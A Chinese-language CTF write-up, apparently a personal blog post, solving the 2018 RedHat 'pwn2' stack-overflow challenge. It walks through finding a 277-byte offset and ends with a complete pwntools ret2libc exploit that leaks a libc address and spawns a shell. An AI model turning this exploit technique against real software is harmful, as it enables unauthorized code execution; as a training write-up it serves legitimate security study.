盒子
盒子
文章目录
  1. 前言:
  2. 概述:
  3. 介绍:
    1. 思路:
      1. 更新库
      2. 寻找版本
  • EXP:
  • 2018-RedHat-PWN2

    前言:

    五一假期又没有的放,只能安慰自己假期没有CTF好玩吧,太难受了,朋友圈全是些令人眼羡的照片,暴风哭泣。我一定会有假期的!

    概述:

    红帽杯的一道pwn2题目,一道蛮简单的栈溢出,给自己练练手了。

    介绍:

    先check一下:

    屏幕快照 2018-05-02 下午7.33.40

    可以看见只开了NX,32位程序,扔进IDA来分析:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    void sub_8048637()
    {
    char s; // [esp+7h] [ebp-111h]
    char v1; // [esp+107h] [ebp-11h]
    size_t nbytes; // [esp+108h] [ebp-10h]
    char *v3; // [esp+10Ch] [ebp-Ch]

    puts("Welcome to my game server");
    puts("First, you need to tell me you name?");
    fgets(byte_804A180, 256, stdin);
    v3 = strrchr(byte_804A180, 10);
    if ( v3 )
    *v3 = 0;
    printf("Hello %s\n", byte_804A180);
    puts("What's you occupation?");
    fgets(byte_804A080, 256, stdin);
    v3 = strrchr(byte_804A080, 10);
    if ( v3 )
    *v3 = 0;
    printf("Well, my noble %s\n", byte_804A080);
    nbytes = snprintf(
    &s,
    0x100u,
    "Our %s is a noble %s. He is come from north and well change out would.",
    byte_804A180,
    byte_804A080);
    puts("Here is you introduce");
    puts(&s);
    puts("Do you want to edit you introduce by yourself?[Y/N]");
    v1 = getchar();
    getchar();
    if ( v1 == 89 )
    read(0, &s, nbytes);
    printf("name : %s\noccupation : %s\nintroduce : %s\n", byte_804A180, byte_804A080, &s);
    }

    程序就是让你输名字和职业,然后有一段可以给你修改的选项,是不是觉得每个fgets都限制了个数,所以溢出点在哪里?

    如果暂时找不出是否有溢出,我们可以运行到让程序崩溃,看看到底是否是栈溢出。

    屏幕快照 2018-05-02 下午7.42.55

    OK,可以发现有溢出,那么我们用产生的core文件来调试寻找溢出点

    1
    2
    3
    $ ulimit -c 0 #不产生core文件
    $ ulimit -c 100 #设置core文件最大为100k
    $ ulimit -c unlimited #不限制core文件大小

    追踪到0x63,是字母c的十六进制,所以我们可以确定,是在编辑我们信息的时候所发生的栈溢出。

    read(0, &s, nbytes);

    nbytes = snprintf(
    &s,
    0x100u,
    “Our %s is a noble %s. He is come from north and well change out would.”,
    byte_804A180,
    byte_804A080);

    仔细查看发现nbytes为姓名和职业所输入的字符串的和,所以我们可以推断,read函数中地址s到返回值地址并没有这么大,即使只要姓名和职业的字符串足够长,我们就可以构造栈溢出。

    而且姓名和职业是有位数限制的,所以我们只要计算地址s到返回值地址的偏移距离就可以。

    屏幕快照 2018-05-02 下午8.00.12

    s的输入地址屏幕快照 2018-05-02 下午8.01.17

    返回值地址,所以偏移量为0xffffcfdc-0xffffcec7 = 277

    偏移量有了我们可以开始思考该如何去构造playload,查看文件中的函数屏幕快照 2018-05-02 下午8.03.23

    没有system函数,也没有找到/bin/sh字符串,所以我们需要来利用libc来计算出它所利用的libc版本从而计算出system函数以及/bin/sh字符串的地址。

    我们利用返回值跳板跳转到puts函数打印出__libc_start_main函数的地址,从而找到libc版本找出system函数以及/bin/sh函数的地址。

    思路:

    1. 利用偏移返回到puts函数地址
    2. 打印出__libc_start_main函数的地址
    3. 找出对应的libc版本
    4. 计算出相应的system函数以及/bin/sh字符串的地址
    5. 重新返回到main函数
    6. 再次利用偏移返回到system函数地址
    7. getshell

    这里找libc版本可以利用github上的libc-database。

    更新库

    ./get

    寻找版本

    ./find __libc_start_main 0x00000000. (泄漏函数地址)

    然后可以自己去库里面拷贝一份相对应的libc出来进行利用。

    EXP:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    from pwn import *

    p = process('./pwn2')
    libc = ELF('./libc.6.so')
    elf = ELF('./pwn2')
    context.log_level = 'debug'
    playload = 'A'*200
    p.sendlineafter('tell me you name?',playload)
    p.recvuntil('you occupation?\n')
    playload1 = 'B'*200
    p.sendline(playload1)
    p.sendlineafter('by yourself?[Y/N]','Y')
    #gdb.attach(p)
    playload2 = 'a'*277 + p32(elf.plt['puts']) + p32(0x080485CB) + p32(elf.got['__libc_start_main'])
    p.sendline(playload2)
    p.recvuntil('a'*277)
    p.recvuntil('\x0a\x0a')
    libc_main = u32(p.recv(4))
    print hex(libc_main)

    libc_base = libc_main - libc.symbols['__libc_start_main']
    libc_system = libc_base + libc.symbols['system']
    libc_bin = libc_base + next(libc.search('/bin/sh'))

    print hex(libc_system),hex(libc_bin)
    playload = 'A'*200
    p.sendlineafter('tell me you name?',playload)
    p.recvuntil('you occupation?\n')
    playload1 = 'B'*200
    p.sendline(playload1)
    p.sendlineafter('by yourself?[Y/N]','Y')
    #gdb.attach(p)
    playload2 = 'a'*277 + p32(libc_system) + p32(0x80485cb) + p32(libc_bin)
    p.sendline(playload2)

    p.interactive()
    支持一下
    扫一扫,支持v1nke
    • 微信扫一扫
    • 支付宝扫一扫